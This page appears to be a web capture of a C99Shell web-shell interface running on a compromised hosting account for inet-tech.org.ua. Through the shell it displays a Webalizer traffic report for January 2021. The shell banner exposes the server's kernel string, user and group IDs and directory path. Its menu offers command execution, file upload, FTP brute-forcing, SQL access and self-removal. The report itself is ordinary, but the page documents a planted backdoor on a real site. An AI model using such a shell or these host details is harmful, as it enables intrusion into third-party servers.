!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/inet-tech.org.ua/webstat/   drwxr-xr-x
Free 107.46 GB of 200.55 GB (53.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     usage_202101.html (81.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Usage statistics for inet-tech.org.ua - January 2021

Usage statistics for inet-tech.org.ua

Summary Period: January 2021
Generated 30-Jan-2021 00:01 EET

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for January 2021
Total Hits 35
Total Files 35
Total Pages 4
Total Visits 4
Total kB Files 89985
Total Unique Sites 33
Total Unique URLs 12
Total Unique Referrers 1
Total Unique User Agents 2
. Avg Max
Hits per Hour 0 3
Hits per Day 1 3
Files per Day 1 3
Pages per Day 0 1
Sites per Day 1 3
Visits per Day 0 1
kB Files per Day 3103 17190
Hits by Response Code
Code 200 - OK 100.00% 35

Daily usage for January 2021

Daily Statistics for January 2021
Day Hits Files Pages Visits Sites kB F
1 2 5.71% 2 5.71% 1 25.00% 1 25.00% 2 6.06% 35 0.04%
2 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
3 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 8592 9.55%
4 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 26 0.03%
5 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
6 2 5.71% 2 5.71% 0 0.00% 0 0.00% 2 6.06% 6548 7.28%
7 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 2146 2.38%
8 3 8.57% 3 8.57% 1 25.00% 1 25.00% 3 9.09% 17190 19.10%
9 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 1162 1.29%
10 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 50 0.06%
11 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 30 0.03%
12 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
13 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 26 0.03%
14 2 5.71% 2 5.71% 0 0.00% 0 0.00% 2 6.06% 15258 16.96%
15 2 5.71% 2 5.71% 1 25.00% 1 25.00% 2 6.06% 25 0.03%
16 2 5.71% 2 5.71% 0 0.00% 0 0.00% 2 6.06% 13317 14.80%
17 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
18 3 8.57% 3 8.57% 0 0.00% 0 0.00% 3 9.09% 5417 6.02%
19 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 20 0.02%
20 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 26 0.03%
21 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 28 0.03%
22 2 5.71% 2 5.71% 1 25.00% 1 25.00% 2 6.06% 8597 9.55%
23 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 4230 4.70%
24 2 5.71% 2 5.71% 0 0.00% 0 0.00% 2 6.06% 2906 3.23%
25 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 20 0.02%
26 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
27 1 2.86% 1 2.86% 0 0.00% 0 0.00% 1 3.03% 26 0.03%
28 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
29 2 5.71% 2 5.71% 0 0.00% 0 0.00% 2 6.06% 4309 4.79%

Hourly usage for January 2021

Hourly Statistics for January 2021
Hour Hits Files Pages kB F
Avg Total Avg Total Avg Total Avg Total
0 0 3 8.57% 0 3 8.57% 0 0 0.00% 593 17211 19.13%
1 0 1 2.86% 0 1 2.86% 0 0 0.00% 146 4230 4.70%
2 0 1 2.86% 0 1 2.86% 0 1 25.00% 0 5 0.01%
3 0 5 14.29% 0 5 14.29% 0 3 75.00% 231 6699 7.44%
4 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
5 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
6 0 1 2.86% 0 1 2.86% 0 0 0.00% 99 2876 3.20%
7 0 2 5.71% 0 2 5.71% 0 0 0.00% 297 8618 9.58%
8 0 3 8.57% 0 3 8.57% 0 0 0.00% 42 1218 1.35%
9 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
10 0 1 2.86% 0 1 2.86% 0 0 0.00% 1 20 0.02%
11 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
12 0 2 5.71% 0 2 5.71% 0 0 0.00% 2 51 0.06%
13 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
14 0 4 11.43% 0 4 11.43% 0 0 0.00% 374 10857 12.07%
15 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
16 0 1 2.86% 0 1 2.86% 0 0 0.00% 1 30 0.03%
17 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
18 0 3 8.57% 0 3 8.57% 0 0 0.00% 371 10771 11.97%
19 0 4 11.43% 0 4 11.43% 0 0 0.00% 461 13366 14.85%
20 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
21 0 1 2.86% 0 1 2.86% 0 0 0.00% 40 1162 1.29%
22 0 1 2.86% 0 1 2.86% 0 0 0.00% 296 8592 9.55%
23 0 2 5.71% 0 2 5.71% 0 0 0.00% 148 4280 4.76%

Top 12 of 12 Total URLs
# Hits kB F URL
1 5 14.29% 14914 16.57% /data/files/examples/2012/diplom_magister.doc
2 4 11.43% 19 0.02% /
3 4 11.43% 34370 38.20% /data/files/examples/2012/diplom_bakalavr.doc
4 4 11.43% 18023 20.03% /data/files/examples/2012/diplom_specialist.doc
5 4 11.43% 104 0.12% /data/files/theory/pi-38-1-web-1.doc
6 3 8.57% 19976 22.20% /data/files/examples/2012/prezent5.ppt
7 3 8.57% 92 0.10% /data/files/examples/2012/recenziya_magistr.doc
8 3 8.57% 61 0.07% /data/files/theory/kr-opi-cpo.docx
9 2 5.71% 2323 2.58% /data/files/labs/lab_tsez.doc
10 1 2.86% 28 0.03% /data/files/examples/2012/recenziya_specialist.doc
11 1 2.86% 26 0.03% /data/files/labs/PHP.doc
12 1 2.86% 50 0.06% /data/files/theory/ITHistory.doc

Top 10 of 12 Total URLs By kB F
# Hits kB F URL
1 4 11.43% 34370 38.20% /data/files/examples/2012/diplom_bakalavr.doc
2 3 8.57% 19976 22.20% /data/files/examples/2012/prezent5.ppt
3 4 11.43% 18023 20.03% /data/files/examples/2012/diplom_specialist.doc
4 5 14.29% 14914 16.57% /data/files/examples/2012/diplom_magister.doc
5 2 5.71% 2323 2.58% /data/files/labs/lab_tsez.doc
6 4 11.43% 104 0.12% /data/files/theory/pi-38-1-web-1.doc
7 3 8.57% 92 0.10% /data/files/examples/2012/recenziya_magistr.doc
8 3 8.57% 61 0.07% /data/files/theory/kr-opi-cpo.docx
9 1 2.86% 50 0.06% /data/files/theory/ITHistory.doc
10 1 2.86% 28 0.03% /data/files/examples/2012/recenziya_specialist.doc

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 4 11.43% 4 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 4 11.43% 4 100.00% /

Top 30 of 33 Total Sites
# Hits Files kB F Visits Hostname
1 2 5.71% 2 5.71% 8623 9.58% 0 0.00% 116.179.32.102
2 2 5.71% 2 5.71% 9386 10.43% 0 0.00% 220.181.108.146
3 1 2.86% 1 2.86% 50 0.06% 0 0.00% 116.179.32.147
4 1 2.86% 1 2.86% 4230 4.70% 0 0.00% 116.179.32.149
5 1 2.86% 1 2.86% 8592 9.55% 0 0.00% 116.179.32.195
6 1 2.86% 1 2.86% 8600 9.56% 0 0.00% 116.179.32.214
7 1 2.86% 1 2.86% 8592 9.55% 0 0.00% 116.179.32.226
8 1 2.86% 1 2.86% 20 0.02% 0 0.00% 116.179.32.227
9 1 2.86% 1 2.86% 4230 4.70% 0 0.00% 116.179.32.29
10 1 2.86% 1 2.86% 4230 4.70% 0 0.00% 116.179.32.42
11 1 2.86% 1 2.86% 30 0.03% 0 0.00% 116.179.32.44
12 1 2.86% 1 2.86% 26 0.03% 0 0.00% 116.179.32.45
13 1 2.86% 1 2.86% 5 0.01% 1 25.00% 162.142.125.38
14 1 2.86% 1 2.86% 5 0.01% 1 25.00% 167.248.133.39
15 1 2.86% 1 2.86% 5 0.01% 1 25.00% 167.248.133.40
16 1 2.86% 1 2.86% 2876 3.20% 0 0.00% 220.181.108.104
17 1 2.86% 1 2.86% 1162 1.29% 0 0.00% 220.181.108.120
18 1 2.86% 1 2.86% 26 0.03% 0 0.00% 220.181.108.149
19 1 2.86% 1 2.86% 1162 1.29% 0 0.00% 220.181.108.152
20 1 2.86% 1 2.86% 80 0.09% 0 0.00% 220.181.108.153
21 1 2.86% 1 2.86% 20 0.02% 0 0.00% 220.181.108.154
22 1 2.86% 1 2.86% 2146 2.38% 0 0.00% 220.181.108.155
23 1 2.86% 1 2.86% 26 0.03% 0 0.00% 220.181.108.165
24 1 2.86% 1 2.86% 3821 4.25% 0 0.00% 220.181.108.166
25 1 2.86% 1 2.86% 30 0.03% 0 0.00% 220.181.108.180
26 1 2.86% 1 2.86% 26 0.03% 0 0.00% 220.181.108.181
27 1 2.86% 1 2.86% 8592 9.55% 0 0.00% 220.181.108.183
28 1 2.86% 1 2.86% 26 0.03% 0 0.00% 220.181.108.184
29 1 2.86% 1 2.86% 6658 7.40% 0 0.00% 220.181.108.77
30 1 2.86% 1 2.86% 20 0.02% 0 0.00% 220.181.108.83

Top 10 of 33 Total Sites By kB F
# Hits Files kB F Visits Hostname
1 2 5.71% 2 5.71% 9386 10.43% 0 0.00% 220.181.108.146
2 2 5.71% 2 5.71% 8623 9.58% 0 0.00% 116.179.32.102
3 1 2.86% 1 2.86% 8600 9.56% 0 0.00% 116.179.32.214
4 1 2.86% 1 2.86% 8592 9.55% 0 0.00% 116.179.32.195
5 1 2.86% 1 2.86% 8592 9.55% 0 0.00% 116.179.32.226
6 1 2.86% 1 2.86% 8592 9.55% 0 0.00% 220.181.108.183
7 1 2.86% 1 2.86% 6658 7.40% 0 0.00% 220.181.108.77
8 1 2.86% 1 2.86% 6658 7.40% 0 0.00% 220.181.108.94
9 1 2.86% 1 2.86% 4230 4.70% 0 0.00% 116.179.32.149
10 1 2.86% 1 2.86% 4230 4.70% 0 0.00% 116.179.32.29

Top 1 of 1 Total Referrers
# Hits Referrer
1 35 100.00% - (Direct Request)

Top 2 of 2 Total User Agents
# Hits User Agent
1 31 88.57% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
2 4 11.43% Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)

Usage by Country for January 2021

Top 1 of 1 Total Countries
# Hits Files kB F Country
1 35 100.00% 35 100.00% 89985 100.00% Unresolved/Unknown


Generated by Webalizer Version 2.23

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0243 ]--